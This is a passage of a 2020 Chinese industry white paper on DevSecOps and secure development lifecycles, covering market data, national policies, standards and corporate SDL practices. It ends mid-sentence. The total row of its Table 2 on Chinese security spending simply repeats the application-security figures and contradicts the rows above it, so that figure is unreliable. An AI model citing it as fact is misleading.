研发运营安全白皮书 (2020年) 云计算开源产业联盟 OpenSource Cloud Alliance for industry,OSCAR 2020年7月 版权声明 本白皮书版权属于云计算开源产业联盟,并受法律保护。 转载、摘编或利用其它方式使用本调查报告文字或者观点的, 应注明“来源:云计算开源产业联盟”。违反上述声明者,本联 盟将追究其相关法律责任。 前 言 近年来,安全事件频发,究其原因,软件应用服务自身存在代码 安全漏洞,被黑客利用攻击是导致安全事件发生的关键因素之一。随 着信息化的发展,软件应用服务正在潜移默化的改变着生活的各个方 面,渗透到各个行业和领域,其自身安全问题也愈发成为业界关注的 焦点。传统研发运营模式之中,安全介入通常是在应用系统构建完成 或功能模块搭建完成之后,位置相对滞后,无法完全覆盖研发阶段的 安全问题。在此背景下,搭建整体的研发运营安全体系,强调安全左 移,覆盖软件应用服务全生命周期安全,构建可信理念是至关重要的。 本白皮书首先对于研发运营安全进行了概述,梳理了全球研发运 营安全现状,随后对于信通院牵头搭建的研发运营安全体系进行了说 明,归纳了研发运营安全所涉及的关键技术。最后,结合当前现状总 结了研发运营安全未来的发展趋势,并分享了企业组织研发运营安全 优秀实践案例以供参考。 参与编写单位 中国信息通信研究院、华为技术有限公司、深圳市腾讯计算机系 统有限公司、阿里云计算有限公司、浪潮云信息技术股份公司、京东 云计算(北京)有限公司、北京金山云网络技术有限公司、深圳华大 生命科学研究院、奇安信科技集团股份有限公司、杭州默安科技有限 公司、新思科技(上海)有限公司 主要撰稿人 吴江伟、栗蔚、郭雪、耿涛、康雪婷、徐毅、章可镌、沈栋、 郭铁涛、张祖优、马松松、黄超、伍振亮、祁景昭、朱勇、贺进、 宋文娣、张娜、蔡国瑜、张鹏程、张玉良、董国伟、周继玲、杨国 梁、肖率武、薛植元 目 录 一、研发运营安全概述 ................................................................................................................... 1 (一)研发层面安全影响深远,安全左移势在必行 ........................................................... 1 (二)覆盖软件应用服务全生命周期的研发运营安全体系 ............................................... 4 二、研发运营安全发展现状 ........................................................................................................... 5 (一)全球研发运营安全市场持续扩大 ............................................................................... 5 (二)国家及区域性国际组织统筹规划研发运营安全问题 ............................................... 7 (三)国际标准组织及第三方非盈利组织积极推进研发运营安全共识 ......................... 12 (四)企业积极探索研发运营安全实践 ............................................................................. 14 (五)开发模式逐步向敏捷化发展,研发运营安全体系随之向敏捷化演进 ................. 19 三、研发运营安全关键要素 ......................................................................................................... 21 (一)覆盖软件应用服务全生命周期的研发运营安全体系 ............................................. 22 (二)研发运营安全解决方案同步发展 ............................................................................. 31 四、研发运营安全发展趋势展望 ................................................................................................. 41 附录:研发运营安全优秀实践案例 ............................................................................................. 43 (一)华为云可信研发运营案例 ......................................................................................... 43 (二)腾讯研发运营安全实践 ............................................................................................. 50 (三)国家基因库生命大数据平台研发运营安全案例 ..................................................... 58 图 目 录 图 1 Forrester 外部攻击对象统计数据 ........................................... 2 图 2 研发运营各阶段代码漏洞修复成本 ........................................... 3 图 3 研发运营安全体系 ........................................................ 4 图 4 Cisco SDL 体系框架图 .................................................... 16 图 5 VMware SDL 体系框架图 ................................................... 17 图 6 微软 SDL 流程体系 ....................................................... 20 图 7 DevSecOps 体系框架图 .................................................... 21 图 8 研发运营安全解决方案阶段对应图 ......................................... 32 表 目 录 表 1 2019-2020 全球各项安全类支出及预测 ....................................... 6 表 2 2019-2020 中国各项安全类支出及预测 ....................................... 7 表 3 重点国家及区域性国际组织研发运营安全相关举措 ........................... 12 表 4 国际标准组织及第三方非营利组织研发运营安全相关工作 ..................... 14 表 5 企业研发运营安全具体实践 ............................................... 19 表 6 SDL 与 DevSecOps 区别对照 ................................................ 21 云计算开源产业联盟 研发运营安全白皮书 1 一、 研发运营安全概述 (一)研发层面安全影响深远,安全左移势在必行 随着信息化的发展,软件应用服务正在潜移默化的改变着生活的 各个方面,渗透到各个行业和领域,软件应用服务的自身安全问题也 愈发成为业界关注的焦点。 全球安全事件频发,代码程序漏洞是关键诱因之一。2017 年,美 国最大的征信机构之一 Equifax 因未能及时修补已知的安全漏洞发 生一起涉及 1.48 亿用户的数据安全、隐私泄露事件,影响几乎一半 的美国人口;国内电商因优惠券漏洞被恶意牟利,酒店、求职等网站 也曾发生数据安全事件,泄露百万级、亿级用户隐私数据。究其原因, 软件应用服务自身安全漏洞被黑客利用攻击是数据安全事件层出不 穷关键因素之一。根据 Verizon 2019 年的研究报告《Data Breach Investigations Report》,在总计核实的 2013 次数据泄露安全事件 中,超过 30%与 Web 应用程序相关,Web 应用程序威胁漏洞具体指程 序中的代码安全漏洞以及权限设置机制等。Forrester 2019 年发布 的 调 查 报 告 《 Forrester Analytics Global Business Technographics Security Survey,2019》中显示,在 283 家全球企 业已经确认的外部攻击中,针对软件漏洞以及 Web 应用程序是位于前 两位的,分别占比达到了 40%与 37%,具体数据见图 1,其中软件漏洞 主要指对于安全漏洞的利用攻击,攻击 Web 应用程序主要指基于程序 的 SQL 注入、跨站脚本攻击等。 云计算开源产业联盟 研发运营安全白皮书 2 数据来源:Forrester 图 1 Forrester 外部攻击对象统计数据 根据咨询公司 Gartner 统计数据显示,超过 75%的安全攻击发生在代 码应用层面。 已知安全漏洞中,应用程序安全漏洞与 Web 应用程序安全漏洞占 多数。美国国家标准技术研究院(NIST)的统计数据显示 92%的漏洞 属于应用层而非网络层。国家计算机网络应急技术处理协调中心 2020 年 4 月的发布的数据显示,2019 年,国家信息安全漏洞共享平台(CNVD) 收录的安全漏洞数量创下历史新高,数量同比增长 14.0%,达到 16193 个,其中应用程序漏洞占比 56.2%,Web 应用程序占比 23.3%,二者相 加占比超过 76%,充分说明安全漏洞大多存在于软件应用服务本身。 传统研发运营安全模式中,安全介入相对滞后。传统研发运营安 全,针对服务应用自身的安全漏洞检测修复,通常是在系统搭建或者 功能模块构建完成之后以及服务应用上线运营之后,安全介入,进行 安全扫描,威胁漏洞修复。如当前的大多数安全手段,防病毒、防火 40% 37% 28% 25% 25% 25% 25% 20% 19% 14% 6% 1% 0% 5% 10% 15% 20% 25% 30% 35% 40% 45% 软件漏洞(漏洞利用) Web应用程序(SQL注入、跨站脚本… 使用被盗凭证(加密秘钥) DDoS 水坑攻击 移动恶意软件 利用丢失/被盗资产 DNS 钓鱼 勒索软件 社会工程学 其他 云计算开源产业联盟 研发运营安全白皮书 3 墙、入侵检测等,都是关注软件交付运行之后的安全问题,属于被动 防御性手段。这种模式便于软件应用服务的快速研发部署,但安全介 入相对滞后,并无法覆盖研发阶段代码层面的安全,安全测试范围相 对有限,安全漏洞修复成本也更大。 安全左移有助于帮助企业削减成本。代码是软件应用服务开发的 最初形态,其缺陷或漏洞是导致安全问题的直接根源,尽早发现源码 缺陷能够大大降低安全问题的修复成本。根据美国国家标准与技术研 究所(NIST)统计,在发布后执行代码修复,其修复成本相当于在设 计阶段执行修复的 30 倍。具体数据如图 2 所示。 数据来源:美国国家标准与技术研究所(NIST) 图 2 研发运营各阶段代码漏洞修复成本 在此背景下,搭建新型的研发运营安全体系,进行安全左移,覆 盖软件应用服务的全生命周期,是至关重要,也是势在必行的。建立 新型的研发运营安全体系有助于构建可信理念,创造可信生态,是实 现软件应用服务全生命周期安全的重要一步。 云计算开源产业联盟 研发运营安全白皮书 4 (二)覆盖软件应用服务全生命周期的研发运营安全 体系 新型研发运营安全体系强调安全左移,覆盖软件应用服务全生命 周期。本白皮书认为的研发运营安全指结合人员管理体系、制度流程, 在软件应用服务设计早期便引入安全,进行安全左移,覆盖要求阶段、 安全需求分析阶段、设计阶段、研发阶段、验证阶段、发布阶段、运 营阶段、停用下线阶段的全生命周期,搭建安全体系,降低安全问题 解决成本,全方面提升服务应用安全,提升人员安全能力。具体架构 体系如下图 3 所示。 图片来源:中国信息通信研究院 图 3 研发运营安全体系 体系框架具体内容包括:1)管理制度,建立合适的人员组织架 构与制度流程,保证研发运营流程安全的具体实施,针对人员进行安 全培训,增强安全意识,进行相应考核管理;2)明确安全要求,前期 明确安全要求,如设立质量安全门限要求,进行安全审计,对于第三 云计算开源产业联盟 研发运营安全白皮书 5 方组件进行安全管理等;3)安全需求分析与设计,在研发阶段之前, 进行安全方面的需求分析与设计,从合规要求以及安全功能需求方面 考虑,进行威胁建模,确定安全需求与设计;4)安全研发测试,搭配 安全工具确保编码实际安全,同时对于开源及第三方组件进行风险管 理,在测试过程中,针对安全、隐私问题进行全面、深度的测试;5) 安全发布,服务上线发布前进行安全性审查,制定事先响应计划,确 保发布安全;6)运营安全,上线运营阶段,进行安全监控与安全运 营,通过渗透测试等手段进行风险评估,针对突发事件进行应急响应, 并及时复盘,形成处理知识库,汇总研发运营阶段的安全问题,形成 反馈机制,优化研发运营全流程;7)停用下线,制定服务下线方案 与计划,明确隐私保护合规方案,确保数据留存符合最小化原则,满 足国家相关规范要求。 二、 研发运营安全发展现状 (一)全球研发运营安全市场持续扩大 全球信息安全市场保持稳定增长,应用安全市场增速高于整体安 全市场。本白皮书提出的研发运营安全强调安全左移,通过自动化安 全测试工具,关注软件应用服务代码层面安全,与应用安全紧密关联。 根据 Gartner 2020 年 6 月发布的统计数据显示,全球 2019 年各项安 全类支出总计 1209.34 亿美元,预计 2020 年将达到 1238.18 亿美元, 其中应用安全市场规模 2019 年为 30.95 亿美元,预计 2020 年将达到 云计算开源产业联盟 研发运营安全白皮书 6 32.87 亿美元,年增长率达到 6.2%,明显高于整体信息安全市场的 2.4%年增长率,具体数据如表 1 所示。 市场领域 2019 2020 增长率(%) 应用安全 3095 3287 6.2 云安全 439 585 33.3 数据安全 2662 2852 7.2 身份访问管理 9837 10409 5.8 基础设施保护 16520 17483 5.8 综合风险管理 4555 4731 3.8 网络安全设备 13387 11694 -12.6 其他信息安全软件 2206 2273 3.1 安全服务 61979 64270 3.7 客户安全软件 6254 6235 -0.3 总计 120934 123818 2.4 数据来源:Gartner,2020 年 6 月 表 1 2019-2020 全球各项安全类支出及预测(单位:百万美元) 我国应用安全市场增速高于全球,市场规模占全球比例达到近三 分之一。2019 年,我国应用安全市场规模达到 8.48 亿美元,市场规 模占全球应用安全市场规模比例达到近三分之一,预计 2020 年市场 规模将达到 9.45 亿美元,年增长率达到 11.5%,高于全球 6.2%的增 长率。具体数据如表 2 所示。 云计算开源产业联盟 研发运营安全白皮书 7 市场领域 2019 2020 增长率(%) 应用安全 848 945 11.5 云安全 1336 1448 8.3 数据安全 565 616 9 身份访问管理 1730 1852 7.1 基础设施保护 2139 2318 8.4 综合风险管理 97 106 9.9 网络安全设备 7518 7111 -5.4 其他信息安全软件 379 395 4.2 安全服务 13173 15078 14.5 客户安全软件 27784 29869 7.5 总计 848 945 11.5 数据来源:Gartner,2020 年 6 月 表 2 2019-2020 中国各项安全类支出及预测(单位:百万美元) 应用程序安全测试(AST)市场增速最为迅猛,市场规模占比超 过应用安全总体市场规模的三分之一。根据 Gartner 2019 年 4 月发 布的报告调查数据显示,应用安全测试市场预计将以 10%的复合年 增长率增长,这仍是信息安全领域中快速增长的部分,到 2019 年底, AST 的市场规模估计将达到 11.5 亿美元,市场规模占比超过应用安 全总体市场规模的三分之一。根据 Industry Research 2019 年 8 月 发布的数据显示,按照应用程序安全测试类型区分,静态应用程序安 全测试(SAST)将占主导地位,预计将以 24.06%的复合年增长率增 长,交互式应用程序安全性测试(IAST)预计将以最快的 27.58%的 复合年增长率增长。 (二)国家及区域性国际组织统筹规划研发运营安全 问题 重点国家与区域性国际组织已发布政策规范,重视研发运营安全 问题。软件应用服务是信息化的重要组成部分,源代码是软件应用服 云计算开源产业联盟 研发运营安全白皮书 8 务的最原始形态。越来越多的国家已经意识到软件应用服务的源代码 安全的重要性,在强调安全运营、防御的基础之上,通过发布一系列 政策以及指南,从国家层面规范此方面的工作。目前美国、英国、俄 罗斯、印度、澳大利亚以及欧盟等国家和区域组织都已经推行涉及研 发运营安全的战略、规范或指南,其中以美国、英国、印度、欧盟最 为典型。 美国发布战略计划,关注研发运营安全。美国越来越依赖于网络 空间,但安全并未跟上网络威胁的增长。关于研发安全,美国国家科 技委员会(NSTC)网络和信息技术研发分委会在 2019 年 12 月发布 《联邦网络安全研发战略计划》,主要内容涵盖四个相互关联的防御 能力:威慑、保护、探测、响应。在威慑能力中明确提出,设计安全 的软件是威慑手段之一;保护能力关于研发安全具体包含两个方面的 内容,1)减少脆弱性,具体行为包括安全设计、安全开发、安全验 证、可持续安全;2)执行安全原则,具体涵盖使用加密机制保护数 据,提高访问控制效率,避免安全漏洞引入。此外,美国国土安全部 资助软件质量保证(SQA)项目,提升软件应用安全性,软件质量保 证(SQA)项目发展工具与技术,用于分析识别软件中的潜在安全漏 洞,具体而言,该项目强调软件代码开发过程中,安全性分析以及脆 弱性识别,从而在开发过程的早期发现并消除漏洞、缺陷。关于运营 安全,《联邦网络安全研发战略计划》中提出的探测与响应能力和运 营安全密切相关,具体内容包括实时监测系统安全,及时检测甚至预 云计算开源产业联盟 研发运营安全白皮书 9 测安全威胁,动态评估安全风险,对于安全威胁进行联动、自适应处 理等内容。 英国推行源码审查,发布研发运营安全相关战略指南,提升整体 软件应用服务安全性。英国基于自身 IT 产业情况,使用其他国家企 业的网络信息技术产品和服务的情况较多,供应链更为复杂。针对软 件应用代码安全以及研发安全,英国推行网络安全审查机制,采用相 对市场化的评估机制,这其中就包括深层次的源代码审查测试,检测 相关产品或服务是否存在安全缺陷或漏洞。同时,英国国家网络安全 中心(NCSC)于 2018 年 11 月发布《安全开发和部署指南》,具体包 含 8 项安全开发原则,1)安全开发关系每一个人;2)保持安全知识 实时更新;3)研发干净可维护的代码;4)保护开发环境;5)保护代 码库;6)保护构建和部署管道;7)持续进行安全性测试;8)对于安 全威胁、漏洞影响提前计划,8 项原则均与研发安全密切相关。针对 运营安全,《国家网络安全战略 2016-2021》中明确提出要提升防御 能力,提高政府和公共部门抵御网络攻击的弹性,定期评估关键系统 的安全漏洞,业界应与国家网络安全中心(NCSC)共享网络威胁最新 情报,进行主动防御等具体举措。 印度推行国家战略,推动系统应用研发运营安全。印度作为软件 开发大国,对代码安全方面的要求较高。针对研发安全,印度国家网 络协调中心(NCCC)在 2013 年曾发布《国家网络安全战略》(NCSS 2013),推动网络安全研究与开发是其战略之一,包括解决与可信系 统的开发、测试、部署和维护整个生命周期相关的所有问题。2020 年, 云计算开源产业联盟 研发运营安全白皮书 10 正在征求意见更新《国家网络安全战略》(NCSS 2020),安全测试 左移,集成到开发周期之中,安全团队成为应用程序开发生命周期的 一部分是主要趋势之一。针对运营安全,在战略中提出,创建安全威 胁早期预警、漏洞管理和应对安全威胁的机制;建立国家级的系统、 流程、结构和机制,对现有和潜在网络安全威胁进行必要情境推测。 欧盟颁布实施法案,注重国际合作,推进整体的研发运营安全。 欧盟在 2019 年 6 月 27 日,正式施行《网络安全法案》,旨在有效应 对随着数字化和连接性的增加而带来的与网络安全相关的各类风险, 防范对计算机系统、通信网络、数字产品、服务和设备等带来的潜在 威胁,进一步完善欧盟的网络安全保护框架。针对研发设计安全,明 确提出,参与产品设计开发的组织、制造商、提供商应在设计和开发 的早期阶段采取安全措施,推测安全攻击的发生,减少安全风险的影 响,同时安全应贯穿产品全生命周期,以减少规避安全风险。针对运 营安全,强调制定和更新联盟级别的网络和信息系统安全策略,对于 安全事件联合处理,内部成员国共享安全信息、技术解决办法,提升 事件处置的效率。 云计算开源产业联盟 研发运营安全白皮书 11 美国 英国 印度 欧盟 国家政策、 指南  《联邦网络安 全研发战略计 划》  软件质量保证 (SQA)项目  网络安全审 查机制  《安全开发 和 部 署 指 南》  《国家网络 安全战略》  《网络安全 法案》 研发安全  《联邦网络安 全研发战略计 划》中涵盖威 慑、保护、探 测、响应四项 能力,其中威 慑、保护与研 发安全密切相 关,在威慑中 明确提出,设 计安全的软件 是威慑手段之 一;保护具体 包 含 两 个 方 面,1)减少脆 弱性,具体行 为包括安全设 计、安全开发、 安全验证、可 持续安全;2) 执 行 安 全 原 则,具体涵盖 使用加密机制 保护数据,提 高访问控制效 率,避免安全 漏洞引入;  美国国土安全 部资助软件质 量保证(SQA) 项目,提升软 件 应 用 安 全 性,软件质量 保证(SQA)项 目发展工具与 技术,用于分 析识别软件中 的潜在安全漏  推行网络安 全 审 查 机 制,采用相 对市场化的 评估机制, 其中包括深 层次的源代 码 审 查 测 试,检测相 关产品或服 务是否存在 安全缺陷或 漏洞  英国国家网 络安全中心 (NCSC)发 布《安全开 发和部署指 南》,包含 8 项安全开发 原则,1)安 全开发关系 每一个人; 2)保持安全 知识实时更 新;3)研发 干净可维护 的代码;4) 保护开发环 境;5)保护 代码库;6) 保护构建和 部署管道; 7)持续进行 安 全 性 测 试;8)对于 安全威胁、 漏洞影响提  印度国家网 络协调中心 (NCCC)在 2013 年发布 《国家网络 安全战略》 ( NCSS 2013),推动 网络安全研 究与开发是 其 战 略 之 一,包括解 决与可信系 统的开发、 测试、部署 和维护整个 生命周期相 关的所有问 题。2020 年, 正在征求意 见更新《国 家网络安全 战 略 》 ( NCSS 2020),安全 测试左移, 集成到开发 周期之中, 安全团队成 为应用程序 开发生命周 期的一部分 是主要趋势 之一。  2019 年 6 月 27 日施行的 《网络安全 法案》中明 确提出,参 与产品设计 开 发 的 组 织、制造商、 提供商应在 设计和开发 的早期阶段 采取安全措 施,推测安 全攻击的发 生,减少安 全风险的影 响,同时安 全应贯穿产 品全生命周 期,以减少 规避安全风 险。 云计算开源产业联盟 研发运营安全白皮书 12 洞,具体而言, 该项目强调软 件代码开发过 程中,安全性 分析以及脆弱 性识别,从而 在开发过程的 早期发现并消 除漏洞、缺陷。 前计划,与 研发安全密 切相关。 运营安全  《联邦网络安 全研发战略计 划》提出的四 项能力中,探 测和响应与安 全运营密切相 关,具体内容 包括实时监测 系统安全,及 时检测甚至预 测安全威胁, 动态评估安全 风险,对于安 全威胁进行联 动、自适应处 理。  《国家网络 安 全 战 略 2016-2021》 中明确提出 要提升防御 能力,提高 政府和公共 部门抵御网 络攻击的弹 性,定期评 估关键系统 的 安 全 漏 洞,业界与 国家网络安 全 中 心 (NCSC)共 享网络威胁 最新情报, 进行主动防 御等具体举 措。  《国家网络 安全战略》 中提出,创 建安全威胁 早期预警、 漏洞管理和 应对安全威 胁的机制; 建立国家级 的系统、流 程、结构和 机制,对现 有和潜在网 络安全威胁 进行必要情 境推测等具 体措施。  《网络安全 法案》强调 制定和更新 联盟级别的 网络和信息 系统安全策 略,对于安 全事件联合 处理,内部 成员国共享 安全信息、 技术解决办 法,提升事 件处置的效 率。 表 3 重点国家及区域性国际组织研发运营安全相关举措 (三)国际标准组织及第三方非盈利组织积极推进研 发运营安全共识 ISO27304 关注建立安全软件程序流程和框架。ISO27034 是国际 标准化组织通过的第一个关注建立安全软件程序流程和框架的标准, 提供了面向企业落地应用安全生命周期的指导框架,其本质目的是指 云计算开源产业联盟 研发运营安全白皮书 13 导企业如何通过标准化的方式把安全融合进入软件生命周期。 ISO27034 由七个部分组成,除了第四部分外已全部发布。 SAFECode 专注于应用安全。SAFECode 成立于 2007 年 10 月,在 过去 10 余年中,其发布的指南已被用于为许多重要行业和政府提供 信息,以解决软件安全问题。SAFECode 组织认为尽管存在差异,但业 界公认的通用安全开发实践已被证明既实用又有效;在软件保证流程 和实践中提供更高的透明度有助于客户和其他关键利益相关者有效 地管理风险。2018 年 3 月 SAFECode 发布第三版《安全软件开发基本 实践》,并在之后持续更新。《安全软件开发基本实践》说明保证软 件安全的具体开发和实施细则,以确保软件按预期运营并且没有设计 缺陷和实现缺陷,具体内容包括安全设计原则、威胁建模、安全编码 实践、测试和验证、脆弱性及安全事件响应等。 OWASP(Open Web Application Security Project,即开放 Web 应用程序安全项目)关注软件安全,致力于改善软件的安全性,推动 全球软件安全的革新与发展。OWASP 是一个非盈利组织,于 2004 年 4 月 21 日在美国成立。OWASP 提供有关计算机和互联网应用程序的公 正、实际、有成本效益的信息,协助个人、企业和机构来发现和使用 可信赖软件。其发布的 OWASP Top 10 代表了对 Web 应用程序最严重 的 10 大安全风险,已经成为业界共识,是企业制定代码安全策略的 重要参考文件,也是进行安全编码的有效一步。 云计算开源产业联盟 研发运营安全白皮书 14 ISO27034 SAFECode OWASP 关注对象  建立安全软件程 序流程和框架  应用安全  软件安全,改善 软件的安全性 具体内容  ISO27034 由七个 部分组成,是国 际标准化组织通 过的第一个关注 建立安全软件程 序流程和框架的 标准,提供了面 向企业落地应用 安全生命周期的 指导框架,其本 质目的是指导企 业如何通过标准 化的方式把安全 融合进入软件生 命周期。  SAFECode 发 布 的指南已被用于 为许多重要行业 和 政 府 提 供 信 息,以解决软件 安全问题;  其发布的《安全 软件开发基本实 践》说明保证软 件安全的具体开 发和实施细则, 以确保软件按预 期运营并且没有 设计缺陷和实现 缺陷,具体内容 包括安全设计原 则、威胁建模、安 全编码实践、测 试和验证、脆弱 性及安全事件响 应等。  OWASP 提 供 有 关计算机和互联 网应用程序的公 正、实际、有成本 效益的信息,协 助个人、企业和 机构来发现和使 用可信赖软件  其 发 布 的 OWASP Top 10 代表了对 Web 应 用程序最严重的 10 大安全风险, 已经成为业界共 识,是企业制定 代码安全策略的 重要参考文件, 也是进行安全编 码的有效一步。 表 4 国际标准组织及第三方非盈利组织研发运营安全相关工作 (四)企业积极探索研发运营安全实践 微软持续改进安全开发生命周期(SDL,即 Security Development Lifecycle,以下简称 SDL)流程措施,推行研发运营安全实践。自 2004 年以来,SDL 作为微软一项强制性政策,在将安全性融入企业文 化与软件开发实践中发挥了重大作用,在推出之后,对于其内容也在 不断进行更新改进,目前具体举措包括 1)管理制度,提供安全培训, 增强安全意识,确保人员了解安全基础知识;2)安全要求,定义安 全隐私要求与安全门限要求,包括法律和行业要求,内部标准和编码 云计算开源产业联盟 研发运营安全白皮书 15 惯例,对先前事件的审查以及已知威胁等,安全门限要求指安全质量 的最低可接受级别,明确定义安全漏洞的严重性阈值;3)安全隐私 需求分析与设计,具体措施包括执行威胁建模,建立设计要求,明确 加密标准;4)管理使用第三方组件的安全风险,拥有准确的第三方 组件清单,并了解其安全漏洞可能对集成它们的系统的安全性产生影 响;5)安全研发与验证,具体举措包括使用经过安全性检查,认可 的工具,执行静态应用程序与动态应用程序安全性测试,进行渗透测 试;6)发布部署阶段,建立标准的事件响应流程,7)针对运营安全, 通过人员权限认证,数据加密存储、传输,安全监控,定期更新安全 策略,抵御常见网络攻击,执行渗透测试等手段保证上线运营阶段的 安全。 借鉴行业领先实践、技术,思科推行企业安全开发生命周期,减 少产品安全风险。如下图 4 所示,具体措施涵盖,1)明确安全要求, 包括思科内部安全基线要求与基于行业、场景的市场安全要求;2) 第三方安全,利用工具了解潜在的第三方软件安全威胁,不断更新已 知第三方软件威胁和漏洞列表,对于产品团队进行告警;3)安全需 求分析与设计,内部安全培训计划鼓励所有员工提高安全意识,同时 鼓励开发和测试团队深入学习安全知识,通过持续不断地发展威胁意 识,并利用行业标准原则和高度安全的经过审查的解决方案,努力开 发出设计上更加安全的产品;通过威胁建模了解和确定系统的安全风 险并确定优先级;4)安全编码与验证,建立内部的安全编码标准, 维护经过审核的通用安全模块,同时通过静态应用程序安全测试与漏 云计算开源产业联盟 研发运营安全白皮书 16 洞扫描,渗透测试等手段保证安全性;5)发布部署,建立安全发布 标准,确保发布部署安全;6)上线运营,通过安全运营操作流程与 持续安全监控、更新保证产品上线之后的安全。 图片来源:Cisco 图 4 Cisco SDL 体系框架图 VMware 建立安全开发生命周期项目,识别和减少 VMware 软件产 品研发阶段的安全风险。VMware SDL 的发展受到行业最佳实践和组 织的深远影响,会定期评估 SDL 在识别风险方面的有效性,并随着 SDL 活动的发展和成熟不断对于流程进行优化改进,增添新型技术。 目前 VMware SDL 中的安全活动主要囊括,1)安全培训,对于人员进 行基于角色和技术的安全以及隐私培训;2)安全规划,对于随后的 安全审查活动制定基线要求;3)安全要求,涵盖认证、授权、加密、 证书、网络安全性等内容;4)安全设计,通过威胁建模明确安全风 险,改进安全设计;5)安全研发验证,通过静态代码分析与漏洞扫 描、渗透测试等手段保证研发验证阶段的安全性;6)开源及第三方 云计算开源产业联盟 研发运营安全白皮书 17 组件安全管理,明确产品中开源及第三方组件中的安全漏洞,在发布 前期进行修复;7)安全审查,对于前期所有安全工作进行二次审查; 8)上线运营,由安全响应中心进行持续的安全监控,对于安全风险 进行及时响应。具体执行流程如下图 5 所示。 图片来源:VMware 图 5 VMware SDL 体系框架图 云计算开源产业联盟 研发运营安全白皮书 18 微软 思科 VMware 软件应 用服务 研发运 营全生 命周期 安全管 理 安全 培训  提供安全培训,增 强安全意识,确保 人员了解安全基 础知识  内部安全培训计 划鼓励所有员工 提高安全意识,同 时鼓励开发和测 试团队深入学习 安全知识  对于人员进行基 于角色和技术的 安全以及隐私培 训 安全 要求  定义安全隐私要 求与安全门限要 求,包括法律和行 业要求,内部标准 和编码惯例,对先 前事件的审查以 及已知威胁等  包括思科内部安 全基线要求与基 于行业、场景的市 场安全要求  对于之后的安全 审查活动制定基 线要求  安全要求涵盖认 证、授权、加密、 证书、网络安全性 等内容 安全 隐私 需求 分析 与设 计  执行威胁建模,建 立设计要求,明确 加密标准等  利用行业标准原 则和高度安全的 经过审查的解决 方案,努力开发出 设计上更加安全 的产品  通过威胁建模了 解和确定系统的 安全风险并确定 优先级  通过威胁建模明 确安全风险,改进 安全设计 第三 方组 件安 全管 理  拥有准确的第三 方组件清单,并了 解其安全漏洞可 能对集成它们的 系统的安全性产 生影响  利用工具了解潜 在的第三方软件 安全威胁,不断更 新已知第三方软 件威胁和漏洞列 表,对于产品团队 进行告警  明确产品中开源 及第三方组件中 的安全漏洞,在发 布前期进行修复 安全 编码 与验 证  使用经过安全性 检查,认可的工 具,执行静态应用 程序与动态应用 程序安全性测试, 进行渗透测试  建立内部的安全 编码标准,维护经 过审核的通用安 全模块,同时通过 静态应用程序安 全测试与漏洞扫 描,渗透测试等手 段保证安全性  通过静态代码分 析与漏洞扫描、渗 透测试等手段保 证研发验证阶段 的安全性 安全 发布 部署  建立标准的事件 响应流程  建立安全发布标 准,确保发布部署 安全  对于前期所有安 全工作进行二次 审查 云计算开源产业联盟 研发运营安全白皮书 19 上线 运营 安全  通过人员权限认 证,数据加密存 储、传输,安全监 控,定期更新安全 策略,抵御常见网 络攻击,执行渗透 测试等手段保证 上线运营阶段的 安全  通过安全运营操 作流程与持续安 全监控、更新保证 产品上线之后的 安全  由安全响应中心 进行持续的安全 监控,对于安全风 险进行及时响应 表 5 企业研发运营安全具体实践 (五)开发模式逐步向敏捷化发展,研发运营安全体 系随之向敏捷化演进 研发运营安全相关体系的发展与开发模式的变化是密不可分的, 随着开发模型由传统的瀑布式开发演变成敏捷开发再转变为 DevOps, 研发运营安全相关体系也随着变化,但其核心理念始终是安全前置, 贯穿全生命周期。目前研发运营安全体系中,以微软提出的安全开发 生命周期(SDL)和 Gartner 提出的 DevSecOps 体系为典型代表。 安全开发生命周期(SDL)的核心理念就是将安全考虑集成在软 件开发的每一个阶段:需求分析、设计、编码、测试和维护。从需求、 设计到发布产品的每一个阶段每都增加了相应的安全活动,以减少软 件中漏洞的数量并将安全缺陷降低到最小程度。安全开发生命周期 (SDL)是侧重于软件开发的安全保证过程,旨在开发出安全的软件应 用。SDL 在传统软件开发生命周期(SDLC)的各个阶段增加了一些必要 的安全活动,软件开发的不同阶段所执行的安全活动也不同,每个活 云计算开源产业联盟 研发运营安全白皮书 20 动就算单独执行也都能对软件安全起到一定作用。具体内容如下图 6 所示。 图片来源:Microsoft 图 6 微软 SDL 流程体系 随着对软件开发质量和效率要求的不断提高,以 DevOps 为代表 的敏捷开发方法得到推崇。在此基础上,Gartner 公司于 2012 年推 出了 DevSecOps 的概念,DevSecOps 即 Development Security Operations 的缩写,是一套基于 DevOps 体系的全新安全实践战略框 架,旨在将安全融入敏捷过程中,即通过设计一系列可集成的控制措 施,增大监测、跟踪和分析的力度,优化安全实践,集成到开发和运 营的各项工作中,并将安全能力赋给各个团队,同时保持“敏捷”和 “协作”的初衷。 DevOps 的目的决定了其对“自动化”和“持续性”的要求更加突 出,因此在将安全控制集成其中时,也应该尽量遵循“自动化”和“透 明”的原则。为了将安全无缝集成到 DevOps 中,Gartner 和一些专家 从实践出发提出了一系列建议,主要包括:风险和威胁建模、自定义 代码扫描、开源软件扫描和追踪、考虑供应链安全问题、整合预防性 安全控制到共享源代码库和共享服务中、版本控制和安全测试的自动 云计算开源产业联盟 研发运营安全白皮书 21 化部署、系统配置漏洞扫描、工作负载和服务的持续监控等。下图 7 为 DevSecOps 具体体系框架。 图片来源:Gartner 图 7 DevSecOps 体系框架图 SDL DevSecOps 适用对象 软件产品安全开发全生命周 期 DevOps 体系,周期较短、迭 代较快的业务 安全责任 特定安全团队 研发运营所有参与人员 体系特点 安全集成在软件开发的每一 个阶段,整体提升安全性 DevOps 体系中融入安全,安 全工具自动化以及平台化 体系重点 整体安全管理制度搭配安全 人员能力达到软件产品研发 安全 DevOps 体系中嵌入自动化 安全工具,实现 DevOps 体 系的安全 表 6 SDL 与 DevSecOps 区别对照 三、 研发运营安全关键要素 本白皮书认为的研发运营安全关键要素包含两方面内容,1)覆 盖软件应用服务全生命周期的研发运营安全体系,提供理论框架,指 导研发运营安全的实践推进;2)研发运营安全技术工具的持续发展 云计算开源产业联盟 研发运营安全白皮书 22 应用,为体系的实践提供技术支撑,加速企业组织研发运营安全的落 地。 (一)覆盖软件应用服务全生命周期的研发运营安全 体系 本白皮书提出的研发运营安全体系强调安全左移,结合人员管理 体系、制度流程,从需求分析设计、编码阶段便引入安全,覆盖软件 应用服务全生命周期,整体提升安全性。提出的研发运营安全体系具 有四大特点,1)覆盖范围更广,延伸至下线停用阶段,覆盖软件应 用服务全生命周期;2)更具普适性,抽取关键要素,不依托于任何 开发模式与体系;3)不止强调安全工具,同样注重安全管理,强化 